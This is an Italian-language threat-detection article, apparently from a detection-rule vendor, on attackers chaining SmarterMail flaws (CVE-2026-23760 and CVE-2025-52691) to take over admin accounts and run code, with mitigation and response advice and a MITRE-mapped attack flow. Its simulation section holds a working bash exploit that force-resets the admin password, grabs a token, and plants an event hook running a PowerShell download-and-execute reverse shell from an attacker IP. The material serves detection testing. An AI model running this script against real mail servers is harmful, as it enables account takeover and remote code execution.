DE&TH alle VulnerabilitĂ : Huntress Intercetta un’Acquisizione di Account SmarterMail Che Porta a RCE
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
Huntress ha osservato l’abuso in-the-wild di due falle di SmarterMail che consentono la presa di controllo di account privilegiati e, infine, l’esecuzione di codice remoto. Gli aggressori iniziano flussi di reset password non autenticati per ottenere un token privilegiato, quindi abusano dei “system events” di SmarterMail per eseguire comandi per il riconoscimento dell’host. L’attivitĂ ha impattato diversi clienti e ha mostrato segni di sfruttamento ampio e automatizzato su larga scala.
Indagine
Gli analisti di Huntress hanno ricostruito una sequenza coerente di richieste HTTP POST contro gli endpoint API di SmarterMail utilizzati per attivare i reset password, autenticare, configurare system events, aggiungere domini controllati dall’attaccante, e successivamente rimuovere tracce. La catena prende di mira CVE-2026-23760 (presa di controllo di account privilegiati) e CVE-2025-52691 (caricamento arbitrario di file). Le richieste utilizzavano comunemente l’user-agent python-requests/2.32.4, e gli operatori lasciavano file result.txt contenenti l’output del riconoscimento dei comandi eseguiti.
Mitigazione
Aggiornare SmarterMail alla build 9511 o successiva per affrontare entrambe le CVE. Rivedere e restringere l’esposizione delle API, disabilitare o limitare i system events non necessari, e monitorare attivitĂ API anomale che alterano account, eventi o domini. Identificare e rimuovere eventuali system events o domini creati dagli attaccanti per eliminare la persistenza.
Risposta
Rileva il pattern di chiamata API sospetto e l’user-agent python-requests/2.32.4, blocca gli IP sorgente offensivi, e cancella i system events malevoli. Ruota immediatamente le credenziali privilegiate. Esegui indagini forensi sugli endpoint per individuare result.txt e convalidare se sono stati posti payload aggiuntivi. Notifica agli utenti/clienti impattati e fornisci una chiara guida di rimedio.
graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef data fill:#e6e6e6 %% Nodes action_exploit_cred[“<b>Azione</b> – <b>T1212 Sfruttamento per l’accesso alle credenziali</b><br/>L’attaccante sfrutta CVE-2026-23760 tramite POST /api/v1/auth/force-reset-password per reimpostare una password privilegiata.”] class action_exploit_cred action action_authenticate[“<b>Azione</b> – <b>T1078 Account validi</b> & <b>T1134.003 Manipolazione del token di accesso</b><br/>Utilizzando le nuove credenziali, POST /api/v1/auth/authenticate-user ottiene un token di accesso.”] class action_authenticate action tool_requests[“<b>Strumento</b> – <b>Nome</b>: python-requests 2.32.4<br/><b>Scopo</b>: client HTTP utilizzato per chiamate API”] class tool_requests tool data_token[“<b>Dati</b> – Token di accesso<br/>Memorizzato per interazioni API successive”] class data_token data action_config_event[“<b>Azione</b> – <b>T1569 Servizi di sistema</b> & <b>T1574 Dirottamento del flusso di esecuzione</b><br/>POST /api/v1/settings/sysadmin/event-hook crea un evento di sistema malevolo.”] class action_config_event action action_add_domain[“<b>Azione</b> – <b>T1204 Esecuzione dell’utente</b><br/>POST /api/v1/settings/sysadmin/domain-put aggiunge un dominio che attiva l’evento ed esegue comandi di ricognizione.”] class action_add_domain action data_result[“<b>Dati</b> – result.txt<br/>File creato in C:\\Program Files (x86)\\SmarterTools\\SmarterMail\\Service\\wwwroot\\result.txt”] class data_result data action_cleanup[“<b>Azione</b> – Fasi di pulizia<br/>POST /api/v1/settings/sysadmin/domain-delete ed event-hook-delete per rimuovere gli artefatti.”] class action_cleanup action action_remove_logs[“<b>Azione</b> – <b>T1070.001 Cancellazione dei log eventi di Windows</b>”] class action_remove_logs action action_file_deletion[“<b>Azione</b> – <b>T1070.004 Eliminazione dei file</b><br/>Elimina result.txt e i file correlati.”] class action_file_deletion action action_clear_persistence[“<b>Azione</b> – <b>T1070.009 Rimozione della persistenza</b>”] class action_clear_persistence action %% Connections action_exploit_cred –>|usa| tool_requests action_exploit_cred –>|porta_a| action_authenticate action_authenticate –>|produce| data_token data_token –>|utilizzato_da| action_config_event action_config_event –>|crea| action_add_domain action_add_domain –>|scrive| data_result action_add_domain –>|attiva| action_cleanup action_cleanup –>|include| action_remove_logs action_cleanup –>|include| action_file_deletion action_cleanup –>|include| action_clear_persistence
Flusso di Attacco
Rilevamenti
Tentativo di Sfruttamento CVE-2026-23760 (SmarterMail) (via webserver)
Visualizza
IOC (DestinationIP) per rilevare: DE&TH alle Vuln: Huntress intercetta la presa di controllo dell’Account SmarterMail portando a RCE Parte 2
Visualizza
IOC (DestinationIP) per rilevare: DE&TH alle Vuln: Huntress intercetta la presa di controllo dell’Account SmarterMail portando a RCE Parte 1
Visualizza
IOC (SourceIP) per rilevare: DE&TH alle Vuln: Huntress intercetta la presa di controllo dell’Account SmarterMail portando a RCE Parte 1
Visualizza
IOC (SourceIP) per rilevare: DE&TH alle Vuln: Huntress intercetta la presa di controllo dell’Account SmarterMail portando a RCE Parte 2
Visualizza
Presa di Controllo dell’Account SmarterMail portando a RCE [Webserver]
Visualizza
Esecuzione della Simulazione
Prerequisito: Il Controllo Preliminare di Telemetria & Baseline deve essere superato.
Narrativa dell’Attacco e Comandi
- Ricognizione: L’attaccante scopre che l’istanza SmarterMail esegue una versione vulnerabile a CVE‑2026‑23760.
- Forza Reset Password (T1098): Utilizzando il
force-reset-passwordendpoint non autenticato per impostare una password conosciuta per iladminaccount privilegiato. - Autenticare (T1078): Accedi con le nuove credenziali impostate tramite
authenticate-userendpoint, ottenendo un token di sessione. - Distribui Malicious Event Hook (T1569): POST di un payload JSON creato su
event-hookche punta a una reverse shell PowerShell ospitata sul server dell’attaccante. - Esecuzione Trigger: L’event-hook viene eseguito automaticamente sul webserver, generando una reverse shell per l’attaccante.
- Pulizia: Rimuovi l’hook malevolo tramite
event-hook-deleteendpoint (escluso dal rilevamento).
Tutti i passaggi generano eventi HTTP POST che corrispondono ai parametri di selezione della regola Sigma. selection criteri.
Script di Test di Regressione
#!/usr/bin/env bash
# -------------------------------------------------
# Simulazione di Presa di Controllo Account SmarterMail & RCE
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"
# 1. Forza il reset della password (non autenticato)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"
# 2. Autenticazione e cattura del token di sessione
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}"
| jq -r '.sessionToken')
# 3. Distribuzione del hook malevolo (RCE)
PAYLOAD=$(cat <<EOF
{
"event":"mail-received",
"command":"powershell -NoP -W Hidden -Exec Bypass -Command "Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMPshell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMPshell.ps1""
}
EOF
)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook"
-H "Content-Type: application/json"
-H "Authorization: Bearer ${TOKEN}"
-d "${PAYLOAD}"
echo "[+] Hook malevolo distribuito. In attesa della reverse shell..."
# 4. (Opzionale) Attendere la reverse shell – l'attaccante esegue listener separatamente:
# nc -lvnp ${ATTACKER_PORT}
# 5. Pulizia – rimuovere l'hook (escluso dal rilevamento)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
Comandi di Pulizia
#!/usr/bin/env bash
# Rimuovi eventuali hook malevoli residui e resetta la password amministratore
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"
# Autentica con la password sicura (se nota) o usa il token precedente
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}"
| jq -r '.sessionToken')
# Elimina il hook malevolo (se ancora presente)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
# Resetta la password dell'amministratore a un valore sicuro conosciuto
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"